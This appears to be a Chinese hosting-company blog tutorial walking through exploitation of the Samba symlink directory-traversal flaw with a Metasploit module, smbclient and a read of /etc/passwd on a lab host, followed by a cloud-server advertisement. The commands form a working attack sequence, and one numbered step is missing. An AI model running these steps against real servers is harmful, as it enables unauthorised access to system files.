扫二维码与项目经理沟通
我们在微信上24小时期待你的声音
解答本文疑问/技术咨询/运营咨询/技术建议/互联网交流
Samba是一套实现SMB（server messages block）协议，跨平台进行文件共享和打印共享服务的程序，samba的sambd默认配置在可写文件共享时，存在目录遍历漏洞，远程用户可以通过smbclient端使用一个对称命，创建一个包含..的目录遍历符的软连接 ，可以进行目录遍历以及访问任意文件。
一、利用nmap工具扫描目标主机
1.1使用nmap命令对目标主机进行扫描。单击桌面空白处，右键菜单选择“在终端中打开”。
1.3在终端中输入命令“msfconsole”，启动MSF终端。
1.4在终端中输入命令“search samba”，搜索samba的相关工具和***载荷。
1.5在终端中输入命令“use auxiliary/admin/smb/samba_symlink_traversal”，启用漏洞利用模块, 提示符就会提示进入到该路径下。
1.6在终端中输入命令“info”，查看需要设置的相关项，“yes”表示必须填写的参数。
1.7在终端中输入命令“set RHOST 192.168.1.3”，设置目标主机的IP地址。
1.8在终端中输入“set SMBSHARE tmp”, 设置SAM可写文件。
1.9在终端中输入“exploit”, 开始***。
1.10新打开一个终端，输入“smbclient //192.168.1.3/tmp”,直接回车，不用输入密码。
1.11在终端中输入“cd rootfs”, 进入rootfs目录,在终端下输入命令“ls”,列出目录。
1.12在终端中输入“more /etc/passwd”, 查看目标主机系统中的密码。
另外有需要云服务器可以了解下创新互联scvps.cn，海内外云服务器15元起步，三天无理由+7*72小时售后在线，公司持有idc许可证，提供“云服务器、裸金属服务器、高防服务器、香港服务器、美国服务器、虚拟主机、免备案服务器”等云主机租用服务以及企业上云的综合解决方案，具有“安全稳定、简单易用、服务可用性高、性价比高”等特点与优势，专为企业上云打造定制，能够满足用户丰富、多元化的应用场景需求。
我们在微信上24小时期待你的声音
解答本文疑问/技术咨询/运营咨询/技术建议/互联网交流
微信二维码
移动版官网